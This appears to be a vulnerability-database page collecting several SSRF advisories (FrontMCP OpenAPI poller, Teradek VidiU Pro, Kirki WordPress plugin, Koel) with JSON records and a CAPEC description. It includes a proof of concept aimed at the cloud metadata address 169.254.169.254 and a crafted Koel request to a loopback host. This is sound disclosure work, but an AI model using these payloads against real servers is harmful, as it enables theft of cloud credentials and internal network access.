// libs/adapters/src/openapi/openapi.adapter.ts — initializeGenerator()
return await OpenAPIToolGenerator.fromURL(this.options.url, {
  // ...
  followRedirects: this.options.loadOptions?.followRedirects ?? false,
  refResolution, // secure default: external $refs off, internal targets blocked
});

But the poller — which re-fetches the same URL on every interval — did not:

// libs/adapters/src/openapi/openapi-spec-poller.ts — doFetch() (vulnerable, <= 1.5.5)
const controller = new AbortController();
const timeout = setTimeout(() => controller.abort(), this.fetchTimeoutMs);
try {
  const response = await fetch(this.url, {   // <-- raw global fetch, no SSRF guard
    headers,
    signal: controller.signal,
  });
  // ...hash the body, fire onChanged...
}

Because doFetch() never called safeFetch, none of the guard's protections applied to the polled request:

  • no allow-list / block-list enforcement (allowedHosts / blockedHosts);
  • no internal/private/loopback/link-local/CGNAT/cloud-metadata IP blocking;
  • no DNS resolution of the hostname (so a DNS name that resolves to an internal IP, e.g. http://127.0.0.1.nip.io/, was reached);
  • no connection pinning to the validated IP (DNS-rebinding TOCTOU);
  • no per-hop re-validation of HTTP redirects.

This is the identical threat model to fromURL() / external $ref resolution (GHSA-65h7-9wrw-629c), applied to a request path that the fix for that advisory did not cover.

Impact

A server that enables spec polling against an untrusted or attacker-influenceable spec URL will, on every poll interval, issue a server-side GET to whatever host the URL (or a DNS name it resolves to, or a redirect it returns) points at — including internal-only addresses unreachable from the public internet. Consequences include:

  • reading cloud-instance metadata endpoints (e.g. 169.254.169.254) — credential / token theft;
  • probing and reaching internal services and private-range hosts (internal network scanning);
  • DNS-rebinding to swap a public host for an internal one between validation and connection.

The poller issues GET requests only, so the primary impact is confidentiality (reaching and reading internal endpoints); the fetched body is content-hashed to detect change and the subsequent tool rebuild goes back through the guarded fromURL() path.

Preconditions

Exploitation requires both:

  1. polling.enabled: true on an OpenapiAdapter (polling is off by default and requires the URL-based url option, not an inline spec); and
  2. the spec url is untrusted / attacker-influenceable (e.g. it is derived from user input, a tenant-supplied value, or otherwise not a fixed trusted constant), or an otherwise-trusted spec host is attacker-controlled or can redirect.

Servers that poll a fixed, trusted, first-party spec URL are not exposed in practice, though they still benefit from the guard as defense-in-depth.

Proof of concept

import { OpenapiAdapter } from '@frontmcp/adapters';

// url is attacker-influenceable and points (directly, via DNS, or via redirect)
// at an internal target; polling re-fetches it every interval.
const adapter = OpenapiAdapter.init({
  name: 'evil',
  url: 'http://169.254.169.254/latest/meta-data/', // or http://127.0.0.1.nip.io/...
  polling: { enabled: true, intervalMs: 5000 },
});

await adapter.fetch();   // initial load IS guarded (blocked)
adapter.startPolling();  // <= 1.5.5: each poll issues an UNGUARDED GET to the internal target

On <= 1.5.5 the timed poll reaches the internal address. On the patched version the poll fails closed (no request is made; the failure is logged) exactly as the initial load does.

Patch

The fix routes the poller through the same SSRF guard as the initial load, with the same policy, so both paths share one DNS resolution + connection pinning and cannot diverge:

  • OpenApiSpecPoller.doFetch() now calls safeFetch(this.url, { headers, timeoutMs, followRedirects, ssrf }) from mcp-from-openapi instead of the global fetch().
  • OpenapiAdapter.startPolling() injects the adapter's resolved policy into the poller: ssrf: normalizeSsrfOptions(this.resolveRefResolution()) and followRedirects: loadOptions?.followRedirects ?? false — identical to what fromURL() receives.
  • SpecPollerOptions gained optional ssrf / followRedirects; standalone use of OpenApiSpecPoller defaults to the secure policy (internal targets blocked, redirects not followed).

Files changed:

  • libs/adapters/src/openapi/openapi-spec-poller.ts
  • libs/adapters/src/openapi/openapi-spec-poller.types.ts
  • libs/adapters/src/openapi/openapi.adapter.ts

Requires mcp-from-openapi >= 2.5.0 (already a dependency at 2.5.1), which exports safeFetch / normalizeSsrfOptions and performs the resolved-IP validation and connection pinning.

Remediation

Upgrade @frontmcp/adapters to 1.5.6 or later. No configuration change is required: polling now inherits the same secure defaults as the initial spec load (external targets blocked, redirects not followed). To poll a genuinely internal or localhost spec server in a trusted environment, opt in explicitly with loadOptions.refResolution.allowInternalIPs: true — the same knob that gates the initial load.

Workarounds

For users who cannot upgrade immediately:

  • disable polling (polling.enabled: false) on adapters whose spec url is not a fixed, trusted, first-party value; or
  • only enable polling against spec URLs you fully control, served over HTTPS from a host that cannot be made to redirect to internal targets; and
  • enforce network egress controls / an allow-list at the platform layer so the server cannot reach internal ranges or cloud-metadata endpoints.
Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@frontmcp/adapters"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T22:40:00Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe OpenAPI adapter\u0027s spec-change **poller** (`OpenApiSpecPoller`) re-fetched the\nconfigured spec `url` on a timer using a raw global `fetch()`, bypassing the SSRF\nguard (`safeFetch` / `assertUrlSafe`) that `OpenAPIToolGenerator.fromURL()` applies\nto the initial spec load. As a result, the pinning/DNS-resolution hardening delivered\nvia `mcp-from-openapi \u003e= 2.5.0` (advisory GHSA-65h7-9wrw-629c) protected the initial\nload but **not** the recurring poll of the same URL. When polling is enabled against\nan untrusted or attacker-influenceable spec URL, this is an unguarded SSRF vector.\n\n## Details\n\nThe initial spec load is guarded. `OpenapiAdapter` resolves a secure `refResolution`\npolicy and passes it to the guarded loader:\n\n```ts\n// libs/adapters/src/openapi/openapi.adapter.ts \u2014 initializeGenerator()\nreturn await OpenAPIToolGenerator.fromURL(this.options.url, {\n  // ...\n  followRedirects: this.options.loadOptions?.followRedirects ?? false,\n  refResolution, // secure default: external $refs off, internal targets blocked\n});\n```\n\nBut the poller \u2014 which re-fetches **the same URL** on every interval \u2014 did not:\n\n```ts\n// libs/adapters/src/openapi/openapi-spec-poller.ts \u2014 doFetch() (vulnerable, \u003c= 1.5.5)\nconst controller = new AbortController();\nconst timeout = setTimeout(() =\u003e controller.abort(), this.fetchTimeoutMs);\ntry {\n  const response = await fetch(this.url, {   // \u003c-- raw global fetch, no SSRF guard\n    headers,\n    signal: controller.signal,\n  });\n  // ...hash the body, fire onChanged...\n}\n```\n\nBecause `doFetch()` never called `safeFetch`, none of the guard\u0027s protections applied\nto the polled request:\n\n- no allow-list / block-list enforcement (`allowedHosts` / `blockedHosts`);\n- no internal/private/loopback/link-local/CGNAT/cloud-metadata IP blocking;\n- no DNS resolution of the hostname (so a DNS name that resolves to an internal IP,\n  e.g. `http://127.0.0.1.nip.io/`, was reached);\n- no connection **pinning** to the validated IP (DNS-rebinding TOCTOU);\n- no per-hop re-validation of HTTP redirects.\n\nThis is the identical threat model to `fromURL()` / external `$ref` resolution\n(GHSA-65h7-9wrw-629c), applied to a request path that the fix for that advisory did\nnot cover.\n\n## Impact\n\nA server that enables spec polling against an untrusted or attacker-influenceable\nspec URL will, on every poll interval, issue a server-side `GET` to whatever host the\nURL (or a DNS name it resolves to, or a redirect it returns) points at \u2014 including\ninternal-only addresses unreachable from the public internet. Consequences include:\n\n- reading cloud-instance metadata endpoints (e.g. `169.254.169.254`) \u2014 credential /\n  token theft;\n- probing and reaching internal services and private-range hosts (internal network\n  scanning);\n- DNS-rebinding to swap a public host for an internal one between validation and\n  connection.\n\nThe poller issues `GET` requests only, so the primary impact is **confidentiality**\n(reaching and reading internal endpoints); the fetched body is content-hashed to\ndetect change and the subsequent tool rebuild goes back through the guarded\n`fromURL()` path.\n\n## Preconditions\n\nExploitation requires **both**:\n\n1. `polling.enabled: true` on an `OpenapiAdapter` (polling is off by default and\n   requires the URL-based `url` option, not an inline `spec`); **and**\n2. the spec `url` is untrusted / attacker-influenceable (e.g. it is derived from user\n   input, a tenant-supplied value, or otherwise not a fixed trusted constant), or an\n   otherwise-trusted spec host is attacker-controlled or can redirect.\n\nServers that poll a fixed, trusted, first-party spec URL are not exposed in practice,\nthough they still benefit from the guard as defense-in-depth.\n\n## Proof of concept\n\n```ts\nimport { OpenapiAdapter } from \u0027@frontmcp/adapters\u0027;\n\n// url is attacker-influenceable and points (directly, via DNS, or via redirect)\n// at an internal target; polling re-fetches it every interval.\nconst adapter = OpenapiAdapter.init({\n  name: \u0027evil\u0027,\n  url: \u0027http://169.254.169.254/latest/meta-data/\u0027, // or http://127.0.0.1.nip.io/...\n  polling: { enabled: true, intervalMs: 5000 },\n});\n\nawait adapter.fetch();   // initial load IS guarded (blocked)\nadapter.startPolling();  // \u003c= 1.5.5: each poll issues an UNGUARDED GET to the internal target\n```\n\nOn `\u003c= 1.5.5` the timed poll reaches the internal address. On the patched version the\npoll fails closed (no request is made; the failure is logged) exactly as the initial\nload does.\n\n## Patch\n\nThe fix routes the poller through the same SSRF guard as the initial load, with the\nsame policy, so both paths share one DNS resolution + connection pinning and cannot\ndiverge:\n\n- `OpenApiSpecPoller.doFetch()` now calls `safeFetch(this.url, { headers, timeoutMs,\n  followRedirects, ssrf })` from `mcp-from-openapi` instead of the global `fetch()`.\n- `OpenapiAdapter.startPolling()` injects the adapter\u0027s resolved policy into the\n  poller: `ssrf: normalizeSsrfOptions(this.resolveRefResolution())` and\n  `followRedirects: loadOptions?.followRedirects ?? false` \u2014 identical to what\n  `fromURL()` receives.\n- `SpecPollerOptions` gained optional `ssrf` / `followRedirects`; standalone use of\n  `OpenApiSpecPoller` defaults to the secure policy (internal targets blocked,\n  redirects not followed).\n\nFiles changed:\n\n- `libs/adapters/src/openapi/openapi-spec-poller.ts`\n- `libs/adapters/src/openapi/openapi-spec-poller.types.ts`\n- `libs/adapters/src/openapi/openapi.adapter.ts`\n\nRequires `mcp-from-openapi \u003e= 2.5.0` (already a dependency at `2.5.1`), which exports\n`safeFetch` / `normalizeSsrfOptions` and performs the resolved-IP validation and\nconnection pinning.\n\n## Remediation\n\nUpgrade `@frontmcp/adapters` to `1.5.6` or later. No configuration change is required:\npolling now inherits the same secure defaults as the initial spec load (external\ntargets blocked, redirects not followed). To poll a genuinely internal or localhost\nspec server in a trusted environment, opt in explicitly with\n`loadOptions.refResolution.allowInternalIPs: true` \u2014 the same knob that gates the\ninitial load.\n\n## Workarounds\n\nFor users who cannot upgrade immediately:\n\n- disable polling (`polling.enabled: false`) on adapters whose spec `url` is not a\n  fixed, trusted, first-party value; or\n- only enable polling against spec URLs you fully control, served over HTTPS from a\n  host that cannot be made to redirect to internal targets; and\n- enforce network egress controls / an allow-list at the platform layer so the server\n  cannot reach internal ranges or cloud-metadata endpoints.",
  "id": "GHSA-8q49-2h5h-434x",
  "modified": "2026-07-24T22:40:00Z",
  "published": "2026-07-24T22:40:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/agentfront/frontmcp/security/advisories/GHSA-8q49-2h5h-434x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/agentfront/frontmcp/pull/510"
    },
    {
      "type": "WEB",
      "url": "https://github.com/agentfront/frontmcp/commit/077201e109bf6f45dbc85c36d6bd77ded18ab13e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/agentfront/frontmcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/agentfront/frontmcp/releases/tag/v1.5.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FrontMCP: Server-Side Request Forgery (SSRF) in the OpenAPI adapter spec-change poller"
}

GHSA-8Q4F-5F8R-VP4W

Vulnerability from github – Published: 2025-12-24 21:30 – Updated: 2025-12-24 21:30
VLAI
Details

Teradek VidiU Pro 3.0.3 contains a server-side request forgery vulnerability in the management interface that allows attackers to manipulate GET parameters 'url' and 'xml_url'. Attackers can exploit this flaw to bypass firewalls, initiate network enumeration, and potentially trigger external HTTP requests to arbitrary destinations.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-25251"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-24T20:15:53Z",
    "severity": "MODERATE"
  },
  "details": "Teradek VidiU Pro 3.0.3 contains a server-side request forgery vulnerability in the management interface that allows attackers to manipulate GET parameters \u0027url\u0027 and \u0027xml_url\u0027. Attackers can exploit this flaw to bypass firewalls, initiate network enumeration, and potentially trigger external HTTP requests to arbitrary destinations.",
  "id": "GHSA-8q4f-5f8r-vp4w",
  "modified": "2025-12-24T21:30:34Z",
  "published": "2025-12-24T21:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25251"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/44672"
    },
    {
      "type": "WEB",
      "url": "https://www.teradek.com"
    },
    {
      "type": "WEB",
      "url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5461.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8Q4X-8XP2-6WW3

Vulnerability from github – Published: 2026-09-24 12:31 – Updated: 2026-09-24 12:31
VLAI
Details

The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in all versions up to, and including, 6.2.0 via the 'kirki_data' Parameter. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-18335"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-24T10:17:37Z",
    "severity": "MODERATE"
  },
  "details": "The Kirki \u2013 Freeform Page Builder, Website Builder \u0026 Customizer plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in all versions up to, and including, 6.2.0 via the \u0027kirki_data\u0027 Parameter. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-8q4x-8xp2-6ww3",
  "modified": "2026-09-24T12:31:23Z",
  "published": "2026-09-24T12:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18335"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3636487"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/461be8a5-bf72-4028-88e6-bf6544120ac6?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8Q6Q-M837-FV64

Vulnerability from github – Published: 2026-07-15 17:31 – Updated: 2026-07-15 17:31
VLAI
Summary
Koel has SSRF through Authenticated Subsonic podcast feed URLs
Details

Summary

Koel's Subsonic createPodcastChannel.view endpoint accepts a user supplied podcast feed URL and fetches it server-side before applying the safe URL checks that are used for podcast episode enclosure URLs. An authenticated Subsonic API user can provide a loopback or internal URL as the feed URL and cause the Koel backend to issue a request to that address.

A related redirect gap exists in the podcast stream helper: PodcastService::getStreamableUrl() validates only the original URL, then lets Guzzle follow redirects and accepts the final redirected URL without re-validating it.

Impact

An attacker with any valid Koel account and Subsonic API key can trigger server-side requests from the Koel host to loopback or internal network services. This can be used for blind SSRF against internal HTTP endpoints reachable by the Koel deployment. If an internal service returns valid RSS/XML or permissive CORS responses, parts of the response or final URL may be reflected back through normal podcast or stream behavior.

Reproduction

  1. Start Koel v9.6.0 or current main and create a normal user.
  2. Obtain the user's Subsonic API key.
  3. Start a local canary HTTP server on the Koel host at 127.0.0.1:8103 that records requests and returns this minimal RSS feed:
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>Internal Canary Feed</title>
    <link>https://example.com/</link>
    <description>Internal feed SSRF canary</description>
    <item>
      <title>Episode One</title>
      <guid>koel-internal-canary-episode-1</guid>
      <pubDate>Mon, 01 Jun 2026 12:00:00 GMT</pubDate>
      <enclosure url="https://example.com/episode.mp3" length="1" type="audio/mpeg" />
    </item>
  </channel>
</rss>
  1. Send an authenticated Subsonic request:
GET /rest/createPodcastChannel.view?apiKey=<SUBSONIC_API_KEY>&f=json&url=http://127.0.0.1:8103/feed.xml HTTP/1.1
Host: koel.example
  1. The endpoint returns a successful Subsonic response and the canary records a backend request:
GET /feed.xml

Unauthenticated control: the same request without a valid API key fails and does not hit the canary.

Redirect control for the stream helper: calling PodcastService::getStreamableUrl() with direct http://127.0.0.1:8102/secret returns null and makes no canary request. Calling it with a safe-looking public URL that redirects to http://127.0.0.1:8102/secret causes the backend to request OPTIONS /secret and returns the loopback final URL.

Root cause

app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php validates url only as required|string|url. The controller passes it to PodcastService::addPodcast(), where PodcastService.php calls createParser($url) and Poddle::fromUrl($url, ...) before any Network::isSafeUrl() check. The enclosure URL guard in synchronizeEpisodes() runs later and only covers episode enclosure URLs, not the feed URL that was already fetched.

For streaming, PodcastService::getStreamableUrl() checks Network::isSafeUrl($url) on the original URL, then follows redirects with Guzzle and accepts the last redirect target from X-Guzzle-Redirect-History without validating that target.

Remediation

Validate the podcast feed URL with the same safe URL policy before Poddle::fromUrl() performs any request. Re-validate every redirect target before following it, or disable automatic redirects and manually fetch only targets that pass the safe URL policy. Apply the same redirect validation in getStreamableUrl(). Add regression tests for direct loopback and private IP feed URLs, DNS names resolving to private ranges, and public URL to loopback redirects.

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.6.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phanan/koel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-15T17:31:12Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nKoel\u0027s Subsonic `createPodcastChannel.view` endpoint accepts a user supplied podcast feed URL and fetches it server-side before applying the safe URL checks that are used for podcast episode enclosure URLs. An authenticated Subsonic API user can provide a loopback or internal URL as the feed URL and cause the Koel backend to issue a request to that address.\n\nA related redirect gap exists in the podcast stream helper: `PodcastService::getStreamableUrl()` validates only the original URL, then lets Guzzle follow redirects and accepts the final redirected URL without re-validating it.\n\n## Impact\n\nAn attacker with any valid Koel account and Subsonic API key can trigger server-side requests from the Koel host to loopback or internal network services. This can be used for blind SSRF against internal HTTP endpoints reachable by the Koel deployment. If an internal service returns valid RSS/XML or permissive CORS responses, parts of the response or final URL may be reflected back through normal podcast or stream behavior.\n\n## Reproduction\n\n1. Start Koel v9.6.0 or current main and create a normal user.\n2. Obtain the user\u0027s Subsonic API key.\n3. Start a local canary HTTP server on the Koel host at `127.0.0.1:8103` that records requests and returns this minimal RSS feed:\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003crss version=\"2.0\"\u003e\n  \u003cchannel\u003e\n    \u003ctitle\u003eInternal Canary Feed\u003c/title\u003e\n    \u003clink\u003ehttps://example.com/\u003c/link\u003e\n    \u003cdescription\u003eInternal feed SSRF canary\u003c/description\u003e\n    \u003citem\u003e\n      \u003ctitle\u003eEpisode One\u003c/title\u003e\n      \u003cguid\u003ekoel-internal-canary-episode-1\u003c/guid\u003e\n      \u003cpubDate\u003eMon, 01 Jun 2026 12:00:00 GMT\u003c/pubDate\u003e\n      \u003cenclosure url=\"https://example.com/episode.mp3\" length=\"1\" type=\"audio/mpeg\" /\u003e\n    \u003c/item\u003e\n  \u003c/channel\u003e\n\u003c/rss\u003e\n```\n\n4. Send an authenticated Subsonic request:\n\n```http\nGET /rest/createPodcastChannel.view?apiKey=\u003cSUBSONIC_API_KEY\u003e\u0026f=json\u0026url=http://127.0.0.1:8103/feed.xml HTTP/1.1\nHost: koel.example\n```\n\n5. The endpoint returns a successful Subsonic response and the canary records a backend request:\n\n```text\nGET /feed.xml\n```\n\nUnauthenticated control: the same request without a valid API key fails and does not hit the canary.\n\nRedirect control for the stream helper: calling `PodcastService::getStreamableUrl()` with direct `http://127.0.0.1:8102/secret` returns `null` and makes no canary request. Calling it with a safe-looking public URL that redirects to `http://127.0.0.1:8102/secret` causes the backend to request `OPTIONS /secret` and returns the loopback final URL.\n\n## Root cause\n\n`app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php` validates `url` only as `required|string|url`. The controller passes it to `PodcastService::addPodcast()`, where `PodcastService.php` calls `createParser($url)` and `Poddle::fromUrl($url, ...)` before any `Network::isSafeUrl()` check. The enclosure URL guard in `synchronizeEpisodes()` runs later and only covers episode enclosure URLs, not the feed URL that was already fetched.\n\nFor streaming, `PodcastService::getStreamableUrl()` checks `Network::isSafeUrl($url)` on the original URL, then follows redirects with Guzzle and accepts the last redirect target from `X-Guzzle-Redirect-History` without validating that target.\n\n## Remediation\n\nValidate the podcast feed URL with the same safe URL policy before `Poddle::fromUrl()` performs any request. Re-validate every redirect target before following it, or disable automatic redirects and manually fetch only targets that pass the safe URL policy. Apply the same redirect validation in `getStreamableUrl()`. Add regression tests for direct loopback and private IP feed URLs, DNS names resolving to private ranges, and public URL to loopback redirects.",
  "id": "GHSA-8q6q-m837-fv64",
  "modified": "2026-07-15T17:31:12Z",
  "published": "2026-07-15T17:31:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/security/advisories/GHSA-8q6q-m837-fv64"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/koel/koel"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/releases/tag/v9.7.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": " Koel has SSRF through Authenticated Subsonic podcast feed URLs"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list